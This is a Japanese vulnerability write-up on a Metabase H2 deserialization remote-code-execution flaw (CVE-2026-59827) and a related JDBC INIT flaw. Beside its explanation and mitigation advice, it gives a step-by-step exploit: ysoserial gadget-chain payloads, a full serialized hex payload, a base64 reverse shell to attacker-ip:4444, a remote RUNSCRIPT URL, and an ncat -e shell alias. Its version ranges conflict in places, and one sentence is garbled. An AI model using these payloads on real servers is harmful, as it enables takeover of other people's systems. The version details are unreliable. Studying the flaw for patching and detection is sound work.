
CVE-2026-59827に関するブログ、安全でないH2クエリ出力のデシリアライゼーション
GHSA-w95f-x9v9-wv36 | CVSS 9.9 クリティカル | CWE-502: 信頼されないデータのデシリアライゼーション
CVE-2026-59827 は、人気のオープンソースビジネスインテリジェンス・データ分析プラットフォーム Metabase における重要なリモートコード実行脆弱性です。この欠陥は、Metabase が H2 データベース接続から返されたクエリ結果を処理する方法に起因します。H2 ソースに対するネイティブ SQL クエリが OTHER 型のカラムを返すと、Metabase はそのカラムの生バイトを Java オブジェクトにデシリアライズし、検証を行いません。そのため、ネイティブクエリを実行できる認証済みユーザーは、悪意のあるシリアライズペイロードを結果セットに混入させ、Metabase をホストしているサーバー上で任意のコード実行を引き起こすことができます。
この脆弱性には CVSS スコア 9.9 が割り当てられており、必要な前提条件が最小限であることと、悪用が成功した場合にサーバー側で完全なコード実行が発生することを反映しています。
Metabase は同じリリースサイクルから2つの並行エディショントラックを提供しています。オープンソース版は 0 で始まるバージョン番号(例: v0.61.1)を使用します。エンタープライズ(商用)版は 1 で始まるバージョン番号(例: v1.61.1)を使用します。両エディションは同じコードベースを共有し、同時にリリースされるため、 に影響する脆弱性は にも同様に影響します。この記事を通して、バージョン番号はエンタープライズの 接頭辞で記述されますが、影響を受けるすべてのバージョンは先頭の を に置き換えることで、対応する オープンソース版に直接マッピングされます。
v1.61.0v0.61.01.xx100.xxCVE-2026-59826 と CVE-2026-59827 は両方とも 2026 年 7 月に同時に公開されました。これらは重複するバージョン範囲を持ちますが、修正ポイントは異なります。
脆弱なエンタープライズリリースは 1.58.0 から 1.58.14、1.59.0 から 1.59.11、1.60.0 から 1.60.6.2、1.61.0 から 1.61.1.3 です。対応するオープンソースリリースは 0.58.0 から 0.58.14、0.59.0 から 0.59.11、0.60.0 から 0.60.6.2、0.61.0 から 0.61.1.3 です。
内部パッチは最初に 1.61.1.4(エンタープライズ)および 0.61.1.4(オープンソース)としてリリースされました。1.61 系で最初の公開修正版は 1.61.2(v1.61.2.x / v0.61.2.x)です。Metabase Cloud インスタンスはプロバイダによって自動的にパッチが適用されました。
脆弱なエンタープライズリリースは 1.55.0 から 1.58.15.0、1.59.0 から 1.59.11、1.60.0 から 1.60.6.2、1.61.0 から 1.61.1.x ライン全体です。最初の完全パッチ適用公開リリースは 1.61.2(v1.61.2.x / v0.61.2.x)です。CVE-2026-59826 の範囲はより広く、1.55 リリースラインまで遡ります。これは、悪用される検証が不十分なデータベース作成コードパスが長期間存在していたことを反映しています。
Java のシリアライゼーションメカニズムにより、メモリ上のオブジェクトをフラットなバイトストリームに変換して保存または送信し、後で ObjectInputStream.readObject() を呼び出して再構築できます。このメカニズムの重要な特性は、再構築がコードを実行することです。クラスコンストラクタ、readObject オーバーライド、ファイナライザはすべてデシリアライゼーション中に実行されます。読み取られるバイトが信頼できないソースからのものである場合、攻撃者はそれらのバイトを細工して、JVM にすでにロードされている既存の正規のクラスのシーケンスを通じて任意のメソッド呼び出しをトリガーできます。これらのシーケンスはガジェットチェーンと呼ばれます。
ガジェットチェーンはアプリケーションに新しいコードを導入する必要はありません。デシリアライゼーション中に適切な順序で呼び出された場合に、最終的に Runtime.exec() などのシンクに到達する既存のライブラリクラスの配線を悪用します。ysoserial のようなツールは、Apache Commons Collections、Spring Framework など、広くデプロイされているライブラリ向けにこれらのペイロードを生成するために特別に存在します。
H2 は純粋な Java 組み込みリレーショナルデータベースです。OTHER と呼ばれる特別な SQL カラム型を定義しており、これは任意の Java オブジェクトのパススルーとして機能します。H2 が OTHER カラムに値を格納するとき、Java の ObjectOutputStream によって生成されたバイトを書き込みます。値を読み戻すとき、ObjectInputStream.readObject() を呼び出してオブジェクトを再構築します。生のシリアライズバイトは、H2 の16進数リテラル構文を使用してクエリ内で直接供給することもできます。
SELECT CAST(X'ACED0005...' AS OTHER);
-- or
SELECT X'ACED0005...'::OTHER;
接頭辞 ACED に続く 0005 は、Java シリアライゼーションストリームのマジックナンバーとプロトコルバージョンです。ACED0005 で始まる16進文字列はすべて Java シリアライズオブジェクトストリームです。
H2 がこのクエリを処理すると、データベース側で16進バイトをデシリアライズします。結果のオブジェクトは JDBC ResultSet を通じて呼び出し元アプリケーションに返されます。アプリケーションがカラム値を検査する場合(たとえば表示用にフォーマットするため)、追加の処理がトリガーされる可能性があります。これがまさに脆弱なコードパスで Metabase が行っていることです。
Metabase は H2 ドライバから JDBC ResultSet を受け取り、カラムメタデータを検査して各値をユーザーにどのようにレンダリングするかを決定します。JDBC 型 Types.OTHER(JAVA_OBJECT としても報告される)のカラムに遭遇すると、脆弱なバージョンの Metabase は表示可能な表現を生成するために生バイトのデシリアライズを試みます。このデシリアライズ呼び出し ObjectInputStream.readObject() は、ホワイトリストフィルタリングやクラス検証なしで実行されます。
一連のイベントは次のとおりです。
OTHER 型のカラムを返すネイティブ SQL クエリを送信します。ResultSet 内の JAVA_OBJECT カラムとして生バイトを返します。OTHER カラム型に遭遇し、バイトに対して readObject() を呼び出します。Runtime.exec() に到達して、Metabase プロセスを実行している OS ユーザーとして攻撃者のコマンドを実行します。パッチ適用済みバージョンでは、デシリアライズを試みる前に JDBC 結果メタデータを検査することで問題を解決しています。カラムが JAVA_OBJECT 型として報告された場合、Metabase はそれを解析しようとせずに即座に拒否します。
悪用には認証が必要です。攻撃者は H2 をバックエンドとするデータベースに対してネイティブクエリ実行権限を持つ Metabase アカウントを保有している必要があります。管理者アカウントはデフォルトでこれを満たします。通常ユーザーアカウントでも、管理者が該当データベースに対してネイティブクエリデータ権限を付与していれば、この要件を満たすことができます。
Metabase は、2023 年にリリースされたバージョン 0.46.6.4 で、新しいデータウェアハウス接続として H2 を追加するサポートを削除しました。管理インターフェースを通じて新しい H2 接続を登録しようとすると、「H2 はデータウェアハウスとしてサポートされていません」というエラーが返されます。この削除は、以前の H2 関連の脆弱性への対応であり、攻撃者が制御する H2 インスタンスに接続するリスクを排除することを目的としていました。
しかし、データウェアハウス接続 UI からの H2 削除は、Metabase からの H2 削除と同じではありません。デフォルトの Metabase インストールには 2 つの H2 データベースが残っています。
1 つ目はアプリケーションデータベースです。Metabase が PostgreSQL や MySQL などの外部データベースを使用するように構成されていない場合、自身のメタデータ(質問、ダッシュボード、ユーザーアカウント、設定)を /metabase-data/metabase.db.mv.db の H2 ファイルに保存します。このデータベースは Metabase UI から直接クエリできません。
2 つ目でより直接的に悪用可能なのはサンプルデータベースです。初期セットアップ中に、Metabase はサンプルデータが事前に入力された H2 データベースを作成し、「サンプルデータベース」接続として利用可能にします。この接続はすべての Metabase インスタンスにデフォルトで存在し、CVE-2026-59827 の主要な攻撃対象領域です。これはユーザーがネイティブ SQL クエリを実行できる生きた H2 接続であり、管理パネルに表示される接続文字列は file:/plugins/sample-database.db を指しています。
サンプルデータベースは、管理者を含むすべてのユーザーに対して読み取り専用アクセスを強制します。http://localhost:3000/admin/databases の Metabase データベース設定ページでは、接続されているデータベースに書き込みアクセスを許可するトグルがありますが、サンプルデータベースでは利用できません。つまり、通常の手段では CREATE、UPDATE、DELETE などのデータ操作言語(DML)ステートメントをサンプルデータベースに対して実行できません。

この制限は重要です。なぜなら、特定の代替攻撃経路を閉じるからです。たとえば、H2 エンジンは CREATE ALIAS ステートメントをサポートしており、Java 関数を定義して呼び出すことができます。
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
サンプルデータベースでは書き込みアクセスがロックされているため、この DDL パスは利用できません。SELECT CAST(X'...' AS OTHER) によるデシリアライゼーションパスが有効な悪用ベクトルであるのは、まさに SELECT ステートメントのみが必要であり、これがすべてのユーザーに許可されているからです。
管理されたラボ環境でこの脆弱性をテストするには、影響を受ける範囲の Metabase バージョンを実行します。
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
Metabase は http://localhost:3000 で初期化され、/metabase-data/metabase.db.mv.db に H2 アプリケーションデータベースを作成し、サンプルデータベースを自動的にプロビジョニングします。初期アカウント設定を完了して認証済みセッションを取得します。セットアップ後、サンプルデータベースの SQL エディターに移動します。これがエクスプロイトの実行環境です。
コマンド実行を試みる前に、デシリアライゼーションパスが到達可能であることを確認します。ysoserial の URLDNS ガジェットチェーンは、デシリアライズ時に指定されたホスト名への発信 DNS ルックアップを行うペイロードを生成します。システムコマンドを実行しないため、readObject() が実際に呼び出されていることを確認する安全なプローブとして使用できます。
ペイロードを生成します。
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
これにより、aced0005 で始まる16進文字列が生成されます。キャプチャされたペイロードからの16進出力の例:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Metabase でサンプルデータベースに対して SQL エディターを開き、以下を実行します(OAST ホスト名用に生成された16進文字列に置き換えてください)。
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
OAST リスナーを監視します。Metabase サーバーの IP アドレスから DNS クエリを受信すれば、readObject() が呼び出され、OTHER カラムでデシリアライゼーションが発生していることが確認できます。


コード実行を達成するガジェットチェーンは、Metabase サーバーのクラスパスに存在する Java ライブラリに依存します。以下のチェーンを順に試します。
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
各バイナリペイロードを SQL クエリに必要な16進形式に変換します。
xxd -p payload.bin | tr -d '\n' > payload.hex
次に、Metabase SQL エディターで同じ SELECT X'...'::OTHER パターンを使用して送信し、コマンドの出力がエラーメッセージや応答に反映されるかどうかを確認します。
動作するガジェットチェーンが特定されたら、テストコマンドを目的のペイロードに置き換えます。リバースシェルの場合、シェルの引用問題を避けるためにコマンドを base64 でエンコードします。
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
base64 デコード実行パターンで ysoserial ペイロードを生成します。
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
クエリを送信する前にリスナーをセットアップします。
nc -lvnp 4444
次に、16進文字列を SQL エディターに貼り付けます。
SELECT X'<paste hex string here>'::OTHER;
Metabase が結果セットを処理し、OTHER カラムに遭遇すると、readObject() が起動し、ガジェットチェーンが実行され、リバースシェルが接続して戻ってきます。
InvalidClassException が発生した場合、ガジェットチェーンがサーバー上に存在するライブラリバージョンと一致していません。別のチェーンを試してください。
クエリ送信後に何も起こらない場合、インスタンスがすでにパッチ適用されているか、JEP 290 シリアライゼーションフィルターがアクティブでガジェットチェーンをブロックしているか、OTHER カラム型が脆弱なコードパスで処理されていません。
ClassNotFoundException が発生した場合、必要なライブラリがクラスパスにまったく存在しません。別のチェーンを試してください。
UI 出力では、We're experiencing server issue エラーのみが表示されます。

CVE-2026-59826(GHSA-r6x2-rchx-q9g9)は同じ時期に公開された関連脆弱性です。CVE-2026-59827 がクエリ結果を通じたデシリアライゼーションを悪用するのに対し、CVE-2026-59826 は別のコードパス、つまりデータベース登録エンドポイントをターゲットにしています。認証済み管理者は、接続が確立されたときに実行される INIT パラメータを含む細工された H2 JDBC 接続 URL を送信できます。特定のデータベース作成およびデータベース編集コードパスで INIT フィールドに適用される検証が不十分であったため、管理者アクセス権を持つ攻撃者はクエリではなく接続文字列を通じて RCE を達成できます。
悪意のある INIT 接続 URL は次のような形式を取ります。
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
攻撃者が提供する SQL ファイルは、シェルコマンドを実行する Java エイリアスを定義して呼び出すことができます。
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
あるいは、INIT 文字列はリモートファイルフェッチを行わずにトリガーを直接埋め込むこともできます。
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
CVE-2026-59826 と CVE-2026-59827 はどちらも同じ根本原因(H2 のサーバーサイド実行機能に関する不十分な強化)を共有していますが、悪用される特定のコードパスと必要な権限レベルが異なります。
Metabase を次のパッチ適用済みバージョンのいずれかにアップグレードします: 1.58.15、1.59.12、1.60.6.3、または 1.61.1.4。これらのリリースは結果処理パイプラインを変更し、JDBC カラムメタデータを検査して、JAVA_OBJECT または OTHER 型として報告されたカラムを処理しないようにすることで、デシリアライゼーション呼び出しが発生するのを防ぎます。
即時アップグレードが不可能な場合は、ネイティブクエリ権限を制限します。H2 をバックエンドとするデータベース(サンプルデータベースを含む)に対して、管理者以外のすべてのユーザーからネイティブクエリ実行権限を削除します。これにより、攻撃対象領域が管理者レベルのアカウントのみに減少します。別途、サンプルデータベースが本当に必要かどうかを検討してください。無効化または削除することで、この CVE に対する H2 の攻撃対象領域が完全に排除されます。
アプリケーションデータベースとして H2 を使用しているセルフホストインスタンスの場合、Metabase のドキュメントでは、より堅牢で安全なアプリケーションデータベースバックエンドとして PostgreSQL または MySQL に移行することを推奨しています。